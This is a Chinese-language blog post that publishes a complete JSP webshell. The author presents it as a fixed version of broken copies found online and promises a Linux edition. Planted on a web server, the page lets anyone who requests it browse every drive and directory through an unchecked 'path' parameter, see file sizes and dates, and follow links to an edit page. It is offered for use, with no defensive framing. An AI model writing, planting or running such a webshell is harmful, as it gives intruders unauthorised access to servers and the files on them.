背景就不多说了，使用webshell纵览系统资源的工具应该还是很便利的，但是由于之前网上的版本太过简陋，根本连编译都不会通过，这种写法charAt(i)==’//’? exm?这种写法大学生都知道会报错好吧？这还像将就着用？更不用说“/r/n”这种低级错误了，你用<br/>都比这个好啊喂。
这里直接贴上可以使用的jsp，后续再整个Linux版本的好了。
<%@ page contentType="text/html; charset=UTF-8" %> <%@page import="java.io.*,java.util.*,java.net.*" %> <head> <style type="text/css"> td,select,input,body{font-size:9pt;} A { text-decoration: none } #tablist{ padding: 5px 0; margin-left: 0; margin-bottom: 0; margin-top: 0.1em; font:9pt; } #tablist li{ list-style: none; display: inline; margin: 0; } #tablist li a{ padding: 3px 0.5em; margin-left: 3px; border: 1px solid ; background: #FFFFFF; } #tablist li a:link, #tablist li a:visited{ color: navy; } #tablist li a.current{ background: #FFFFFF; } #tabcontentcontainer{ width: 100%; padding: 5px; border: 1px solid black; } .tabcontent{ display:none; } </style> </head> <%! private final static int languageNo=1; //语言版本，0 : 中文； 1：英文 String[] strCurrentFolder= {"当前目录","Current Folder"}; String[] strDrivers = {"驱动器","Drivers"}; String[] strFileName = {"文件名称","File Name"}; String[] strFileSize = {"文件大小","File Size"}; String[] strLastModified = {"最后修改","Last Modified"}; String[] strFileOperation= {"文件操作","Operations"}; String[] strFileEdit = {"修改","Edit"}; String[] strFileDown = {"下载","Download"}; String[] strFileCopy = {"复制","Move"}; String[] strFileDel = {"删除","Delete"}; String getDrivers() { StringBuffer sb=new StringBuffer(": "); File roots[]=File.listRoots(); for(int i=0;i<roots.length;i++) { sb.append("<a href='?path="+roots[i]+"'>"); sb.append(roots[i]+"</a> "); } return sb.toString(); } String formatPath(String p) { StringBuffer sb=new StringBuffer(); for (int i = 0; i < p.length(); i++) { if(p.charAt(i)=='/') { sb.append("//"); } else { sb.append(p.charAt(i)); } } return sb.toString(); } public static String toChinese(String str) { try{ if(str==null) { return ""; }else { str=new String(str.getBytes("ISO8859_1"),"utf8"); return str; } }catch(Exception e) { return ""; } } %> <% request.setCharacterEncoding("utf8"); String strDir =toChinese( request.getParameter("path")); if(strDir==null||strDir.length()<1) { strDir = request.getRealPath("/"); } StringBuffer sb=new StringBuffer(""); StringBuffer sbFile=new StringBuffer(""); try { File objFile = new File(strDir); File list[] = objFile.listFiles(); if(objFile.getAbsolutePath().length()>3) { sb.append("<tr><td > </td><td><a href='?path="+formatPath(objFile.getParentFile ().getAbsolutePath())+"'>"); sb.append("To ParentFile</a><br>- - - - </td></tr>\r\n"); } for(int i=0;i<list.length;i++) { if(list[i].isDirectory()) { sb.append("<tr><td> </td><td>"); sb.append("<a href='?path="+formatPath(list[i].getAbsolutePath())+"'>"+list[i].getName()+"</a>"); sb.append("</td></tr>"); } else { String strLen=""; String strDT=""; long lFile=0; lFile=list[i].length(); if(lFile>1000000) { lFile=lFile/1000000; strLen="" + lFile + " M"; } else if(lFile>1000) { lFile=lFile/1000; strLen="" + lFile + " K"; } else { strLen="" + lFile + " Byte"; } Date dt=new Date(list[i].lastModified()); strDT=dt.toLocaleString(); sbFile.append("<tr><td>"); sbFile.append(""+list[i].getName()); sbFile.append("</td><td>"); sbFile.append(""+strLen); sbFile.append("</td><td>"); sbFile.append(""+strDT); sbFile.append("</td><td>"); sbFile.append(" <a href='edit.jsp?filepath="+strDir+"/"+list[i].getName()+"'>"); sbFile.append(strFileEdit[languageNo]+"</a> "); sbFile.append("</td></tr>\r\n"); } } } catch(Exception e) { out.println("<font color=red>error： "+e.toString()+"</font>"); } %> <table border='1' width='100%' bgcolor='#FFFFFF' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF> <tr> <td width='20%'><%=strCurrentFolder[languageNo]%>:<br><%=strDir %></td><td width='70%'><%=strDrivers[languageNo] %><%=getDrivers()%> </td> </tr> </table> <table border='1' width='100%' bgcolor='#FFFFFF' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF> <tr> <td width='20%'valign="top"> <table > <tr><td><%=sb%></td> </tr> </table> </td> <td width='70%'align="center" valign="top"> <table width="100%"border="1" cellspacing="1" cellpadding="4" bordercolorlight="#000000" bordercolordark="#FFFFFF"> <tr> <td width="26%" align="center"><%=strFileName[languageNo] %></td> <td width="19%" align="center"><%=strFileSize[languageNo] %></td> <td width="29%" align="center"><%=strLastModified[languageNo] %></td> <td width="26%" align="center"><%=strFileOperation[languageNo] %></td></tr> <tr><td width="25%" align="center"><%=sbFile %></td></tr> </table> </td> </tr> </table>